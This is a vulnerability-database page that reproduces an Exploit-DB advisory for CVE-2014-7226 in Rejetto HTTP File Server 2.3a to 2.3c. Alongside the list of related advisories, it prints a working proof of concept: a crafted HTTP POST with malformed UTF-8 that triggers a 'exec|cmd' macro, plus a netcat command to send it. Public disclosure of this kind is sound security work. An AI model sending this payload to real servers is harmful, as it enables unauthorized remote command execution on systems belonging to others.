Lucene search
+L

Rejetto HTTP File Server (HFS) 2.3a/2.3b/2.3c - Remote Command Execution

🗓️ 02 Oct 2014 00:00:00Reported by Daniele LinguaglossaType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 73 Views

HTTP File Server 2.3c Remote Command Execution vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
HTTP File Server 2.3a, 2.3b, 2.3c - Remote Command Execution Vulnerability
2 Oct 201400:00
–zdt
cve
CVE
CVE-2014-7226
10 Oct 201401:00
–cve
cvelist
Cvelist
CVE-2014-7226
10 Oct 201401:00
–cvelist
euvd
EUVD
EUVD-2014-7098
7 Oct 202500:30
–euvd
exploitpack
exploitpack
Rejetto HTTP File Server (HFS) 2.3a2.3b2.3c - Remote Command Execution
2 Oct 201400:00
–exploitpack
nvd
NVD
CVE-2014-7226
10 Oct 201401:55
–nvd
openvas
OpenVAS
HTTP File Server Remote Command Execution Vulnerability-01 (Jan 2016)
5 Jan 201600:00
–openvas
packetstorm
Packet Storm
HTTP File Server 2.3a / 2.3b / 2.3c Remote Command Execution
2 Oct 201400:00
–packetstorm
prion
Prion
Design/Logic Flaw
10 Oct 201401:55
–prion
ptsecurity
Positive Technologies
PT-2014-7842
10 Oct 201400:00
–ptsecurity
Rows per page
==========================================================
HTTP File Server 2.3a - 2.3b - 2.3c Remote Command Execution

# Author : Daniele Linguaglossa
# Date: 30/09/2014
# Remote: Yes
# Vendor Homepage: http://rejetto.com/
# Software Link: http://downloads.sourceforge.net/hfs/hfs2.3c.src.zip
# CVE: CVE-2014-7226
# Vendor Hompage: http://www.rejetto.com
# Tested on: Windows 8
# Version: 2.3a - 2.3b - 2.3c

The latest HTTP File Server (2.3c and maybe prior too) was found to be
vulnerable to a remote command execution in the file comment features ,
because the application did not properly validate uft-8 broken byte
representation, in fact during parsing program won't notice that there are
multiple invalid representation and when they are printed into the page
will get replaced with one of these characters " { . | } "  causing a macro
to be executed.
==========================================================
PoC
==========================================================
bug-utf8.txt
==========================================================
POST /upload/?mode=section&id=ajax.comment HTTP/1.1
Connection: Close
Content-Type:application/x-www-form-urlencoded

text=%c1%bb%c0%aeexec%c1%bccmd%c0%ae%c1%bd&files=x
==========================================================

Copy the following on a file called bug-utf8.txt , then open hfs and add a
folder called upload,
it will ask if anyone should have upload permission click yes then with
netcat do the following:

nc localhost 8080 < bug-utf8.txt

if everything was fine you should see a new command prompt being executed
from hfs.

==========================================================
EOF

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2014 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 27.5
EPSS0.09185
73